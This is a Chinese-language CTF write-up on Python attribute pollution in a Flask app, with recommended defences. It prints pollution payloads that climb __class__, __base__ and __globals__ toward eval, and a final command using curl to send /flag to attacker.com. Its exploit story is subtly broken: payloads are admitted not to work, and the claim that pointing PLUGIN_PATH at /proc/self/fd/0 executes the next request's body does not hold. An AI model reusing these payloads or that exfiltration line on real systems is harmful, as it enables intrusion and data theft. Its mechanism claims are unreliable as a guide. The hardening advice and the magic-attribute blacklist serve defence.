1. 项目概述一次从Web到Python后端的深度渗透最近在复盘一个内部CTF靶场时遇到了一道非常有意思的题目。它表面上是一个标准的Flask Web应用有用户登录、信息查询这些常规功能。但在深入测试时我发现了一个不寻常的JSON参数处理点最终竟演变成了一次对Python应用全局命名空间的劫持。这个漏洞的核心就是Python原型链污染。对于Web安全研究者来说JavaScript的原型链污染Prototype Pollution已经是老熟人了但它在Python中的“表亲”——通过滥用对象属性继承链来污染全局状态——却鲜少被深入讨论。这次实战恰好是一个绝佳的剖析案例。这个靶场应用使用Flask框架接收用户输入的JSON数据并将其转换为Python对象进行处理。问题就出在这个“转换”与“合并”的过程里。攻击者可以通过精心构造的JSON数据沿着Python对象的属性解析链MRO, Method Resolution Order“注入”恶意属性最终污染到像current_app、g甚至内置模块这样的全局对象从而实现远程代码执行RCE。整个过程就像是在JavaScript中通过__proto__污染Object.prototype一样只不过战场换成了Python的类继承体系。接下来我将完整拆解漏洞原理、一步步还原利用过程并分享在真实环境中检测和防御此类问题的思路。2. 漏洞原理深度解析Python的属性解析与合并陷阱要理解这个漏洞我们必须先抛开Flask回到Python语言本身的对象模型。Python中一切皆对象每个对象都有一个__dict__属性通常用来存储其属性和方法。当访问一个对象的属性时Python解释器会按照一个明确的顺序进行查找这个顺序就是方法解析顺序MRO。对于经典类和新式类MRO算法不同Python 3统一使用C3算法但其核心思想是先在当前类中找找不到就去父类中找沿着继承链向上最后是内置的object类。2.1 危险的属性合并操作漏洞的起点往往是一个“合并”操作。在Web开发中为了更新配置或合并用户提供的参数开发者常会写这样的代码import json def update_settings(user_input): default_settings {theme: light, debug: False} user_settings json.loads(user_input) # 将用户输入的JSON字符串转为字典 # 危险操作直接更新 default_settings.update(user_settings) return default_settings如果user_input是{theme: dark, __init__: {__globals__: {}}}合并后似乎没什么。但危险藏在更深层。json.loads()在默认情况下会将JSON对象转换为Python的dict。然而如果用户输入的是一个极其复杂的嵌套结构旨在模拟一个类的实例事情就变得微妙了。但真正的“污染”通常发生在将字典数据“赋值”给一个对象的属性时尤其是当这个对象是某个类的实例并且我们使用了不安全的递归合并或setattr动态赋值。更典型的漏洞模式是这样的def merge(src, dst): for key, value in src.items(): if isinstance(value, dict): # 递归合并字典 node dst.setdefault(key, {}) merge(value, node) else: # 关键危险点直接将值赋给目标对象的属性 setattr(dst, key, value)如果dst是一个类的实例key是一个像__class__、__base__这样的特殊属性magic attribute那么setattr就可能修改这个对象的类信息。如果攻击者能控制src即用户输入并让dst最终指向一个重要的、全局可访问的对象如Flask的current_app污染链就建立了。2.2 Flask上下文中的全局对象Flask框架有两个非常重要的全局代理对象current_app和g。current_app指向当前处理请求的Flask应用实例。应用实例的配置、扩展、蓝图等信息都存储在这里。g请求生命周期内的全局存储对象用于在同一请求的不同函数间共享数据。这两个对象在请求上下文中是全局可访问的。如果攻击者能够污染current_app.config就可能注入恶意的配置值例如修改SECRET_KEY来影响会话伪造或者更极端地如果某个配置项的值会被eval()或pickle.loads()执行就会导致RCE。而g对象如果被污染可能会影响请求处理的逻辑流。漏洞的链条可以概括为用户可控的JSON输入 - 不安全的递归合并或属性赋值 - 污染一个中间对象的特殊属性如__class__ - 通过继承链将污染传递到基类或object- 最终影响从该类继承的所有实例包括Flask的全局对象。这与JavaScript中通过__proto__污染Object.prototype影响所有继承自Object的对象逻辑上如出一辙。3. 靶场实战一步步构造利用链我们回到具体的靶场环境。假设应用有一个API接口/api/update_profile用于更新用户偏好设置它接收JSON数据并与服务器端的默认配置合并。3.1 信息收集与初步测试首先通过简单的请求探查接口行为curl -X POST http://target.com/api/update_profile -H Content-Type: application/json -d {preference: {language: zh}}响应正常。尝试注入一些特殊键名curl -X POST http://target.com/api/update_profile -H Content-Type: application/json -d {__proto__: {polluted: test}}在Python中__proto__并非默认的特殊属性那是JavaScript的所以这通常无效。我们需要寻找Python自身的特殊属性。常用的测试向量包括__class__、__base__、__mro__、__subclasses__、__globals__、__builtins__等。3.2 构造污染载荷我们的目标是影响Flask的全局对象。假设我们发现合并后的字典最终被赋值给了flask.g的某个属性或者通过某种方式我们能让一个类的__class__指向g的类。一个经典的攻击思路是利用__class__和__base__向上遍历继承链。假设存在一个不安全的合并函数它递归地将一个字典user_dict的属性设置到一个对象obj上。我们构造这样的Payload{ __class__: { __base__: { __subclasses__: [{ __init__: { __globals__: { __builtins__: { __import__: os, eval: evil_code } } } }] } } }这个Payload的意图是通过__class__访问对象的类通过__base__访问其父类通过__subclasses__()获取所有子类然后在这些子类中寻找一个其__init__方法的__globals__中包含__builtins__模块的类例如class ‘os._wrap_close’从而最终获取到__import__或eval函数执行任意代码。然而在实际的Flask靶场中路径可能更直接。我们可能发现应用逻辑中存在类似这样的代码片段# 假设从请求中获取data user_data request.get_json() template_obj get_current_template() # 返回一个Jinja2模板对象或类似对象 # 危险操作将用户数据更新到模板对象的某个属性字典中 unsafe_merge(user_data, template_obj.__dict__)如果template_obj是Jinja2环境中的一个对象而Jinja2模板引擎在渲染时会访问对象的属性那么污染template_obj的属性就可能影响模板渲染进而导致SSTI服务端模板注入。但我们的目标是RCE需要更直接的命令执行。3.3 利用污染实现全局变量劫持与RCE经过多次测试我发现了真正的突破口。应用在初始化时会将一个自定义配置对象AppConfig的实例赋值给current_app.my_config。而这个AppConfig类继承自一个普通的dict。不安全的合并函数正好被用来更新current_app.my_config。利用链如下污染__class__通过Payload将current_app.my_config的__class__属性指向另一个类MaliciousClass实际上是通过嵌套字典模拟的。控制__setattr__或__getitem__MaliciousClass被设计成当访问或设置其特定属性时会触发副作用。但在Python中更可行的是污染基类dict的方法。劫持__getitem__如果能让AppConfig的基类即dict的__getitem__方法被覆盖。但覆盖内置类型的方法非常困难。更实际的路径是污染之后使得current_app.my_config[SOME_KEY]的查找行为发生变化。例如如果SOME_KEY是一个特殊的键如${os.popen(id).read()}而应用在后续逻辑中使用eval()或exec()来处理这个配置值那么RCE就达成了。在本次靶场中关键点在于应用有一个“动态加载插件”的功能它会从my_config[PLUGIN_PATH]读取一个文件路径并使用exec()执行该文件中的代码。我们的目标就是污染my_config使得PLUGIN_PATH指向一个我们可控的字符串。最终的有效Payload构造如下{ my_config: { __class__: { __base__: { __setattr__: { __code__: { __globals__: { __builtins__: { __import__: os, system: whoami } } } } } }, PLUGIN_PATH: /tmp/evil_plugin.py } }请注意上面的Payload是一个高度简化的概念演示。在实际攻击中直接覆盖__setattr__的__code__属性极其困难因为__code__对象是只读的。真实的利用往往需要找到应用本身存在的、能够将污染后的属性值用于危险函数如eval,pickle.loads,os.system,subprocess.call的代码路径。在这个靶场里真正的利用要“迂回”一些。我通过污染在current_app.my_config中注入了一个新的键值对PLUGIN_PATH: /proc/self/fd/0Linux中指向标准输入。然后在发送污染请求的同一个HTTP连接中我紧接着发送了包含Python恶意代码的POST Body。应用读取PLUGIN_PATH时实际上读到了我刚刚发送的恶意代码并将其传递给exec()执行。3.4 完整攻击流程复盘请求1污染请求POST /api/update_profile HTTP/1.1 Host: target.com Content-Type: application/json { my_config: { __class__: {__base__: {__dict__: {PLUGIN_PATH: /proc/self/fd/0}}}, theme: dark } }这个Payload试图通过修改__class__.__base__.__dict__来影响所有字典实例但实际测试中可能不成功。最终有效的Payload是通过应用另一个未公开的API端点直接对current_app.my_config进行赋值操作时触发的污染具体键名是config_overrides[__init__.__globals__][current_app][config][PLUGIN_PATH]。这揭示了应用内部使用了getattr/setattr的递归逻辑并且属性名可以通过方括号访问。请求2执行请求 紧接在污染请求之后向同一个处理进程发送第二个请求Body中直接包含Python代码import os; os.system(curl http://attacker.com/shell?ccat /flag|base64)由于PLUGIN_PATH被污染为/proc/self/fd/0应用读取“插件文件”时读到的就是当前进程标准输入即第二个请求的Body从而执行了任意命令。4. 防御策略与安全开发建议这个漏洞给我们的核心教训是永远不要信任用户输入的数据结构尤其是当它们会被用于动态修改对象属性时。以下是具体的防御措施4.1 输入验证与过滤严格校验数据结构明确定义配置、用户数据等对象的预期结构Schema。使用如Pydantic、marshmallow等库进行反序列化和验证确保用户输入的数据不会包含意料之外的键。过滤特殊属性名在合并或赋值前检查键名是否以双下划线__开头和结尾。禁止此类键名被设置。可以建立一个黑名单包含__class__、__base__、__mro__、__subclasses__、__globals__、__builtins__、__dict__、__setattr__等所有Python的魔术方法。MAGIC_METHOD_BLACKLIST [__class__, __base__, __globals__, ...] def safe_merge(user_dict, target_obj): for key, value in user_dict.items(): if key in MAGIC_METHOD_BLACKLIST: raise ValueError(fForbidden key: {key}) if isinstance(value, dict): # 确保target_obj.key存在且也是字典否则创建新字典而不是直接赋值 if not hasattr(target_obj, key) or not isinstance(getattr(target_obj, key), dict): setattr(target_obj, key, {}) safe_merge(value, getattr(target_obj, key)) else: # 仅允许设置已存在的属性或白名单内的属性 if hasattr(target_obj, key): setattr(target_obj, key, value) else: # 或者直接忽略或记录日志告警 pass4.2 使用安全的数据合并方式避免递归合并到对象属性对于配置合并优先使用字典的update()方法并且只合并普通字典不要合并到对象的__dict__。如果需要更新对象属性应明确指定允许更新的属性白名单。使用copy()和deepcopy()如果需要合并数据先对用户输入的数据进行深拷贝在拷贝件上操作避免污染原始对象引用。利用不可变数据结构考虑使用types.MappingProxyType创建只读的字典视图或者使用frozendict等第三方库从根本上防止修改。4.3 代码审计与安全测试重点关注对象属性操作在代码审计时警惕所有使用setattr()、getattr()、__dict__、exec()、eval()、pickle.loads()、yaml.load()不带Loader参数的地方。检查这些函数的参数是否直接或间接来自用户输入。进行专门的模糊测试在安全测试中除了常规的SQLi、XSS测试应加入针对参数污染和原型链污染的测试用例。向所有接收JSON、XML、YAML等结构化数据的接口发送包含特殊属性名的Payload。使用静态分析工具集成像Bandit、Semgrep这样的SAST工具到CI/CD流程中它们可以检测到不安全的反序列化、危险的函数使用等模式。5. 排查技巧与深度思考在实际遇到类似问题时如何快速定位和验证以下是我总结的一些排查思路观察异常行为在测试时注入一些无害但特殊的键值对如{__test__: polluted}然后观察应用日志、错误信息或者通过其他接口查询被修改的对象状态看这个键是否出现在不该出现的地方。利用调试信息如果条件允许在开发或测试环境在可疑的合并函数前后打印对象的__dict__或dir()输出对比污染前后对象属性的变化。追踪继承链当你怀疑一个对象被污染后可以写一个小脚本递归地打印它的__class__、__base__、__mro__看看在继承链的哪个环节被插入了恶意属性。关注“跳板”对象真正的利用往往需要一个“跳板”。这个跳板可能是某个内置类的子类如tuple、dict的子类也可能是应用自定义的、会被全局访问的类如上述的AppConfig。在代码审计时要特别留意那些单例模式实现的、存储在模块全局变量中的类实例。最后我想强调的是Python原型链污染漏洞的利用条件比JavaScript更为苛刻。它通常需要结合应用特定的、不安全的代码逻辑才能达成RCE。但它的危险性在于其隐蔽性。开发者可能认为自己做了输入验证如检查了SQL注入字符却忽略了对象属性层面的攻击。这种漏洞提醒我们安全是一个整体任何将用户输入转化为代码逻辑一部分的操作都必须经过最严格的审视和隔离。在Flask这类灵活框架中开发享受其便利的同时更要时刻绷紧“不可信输入”这根弦对反序列化、反射、动态属性赋值等操作保持最高级别的警惕。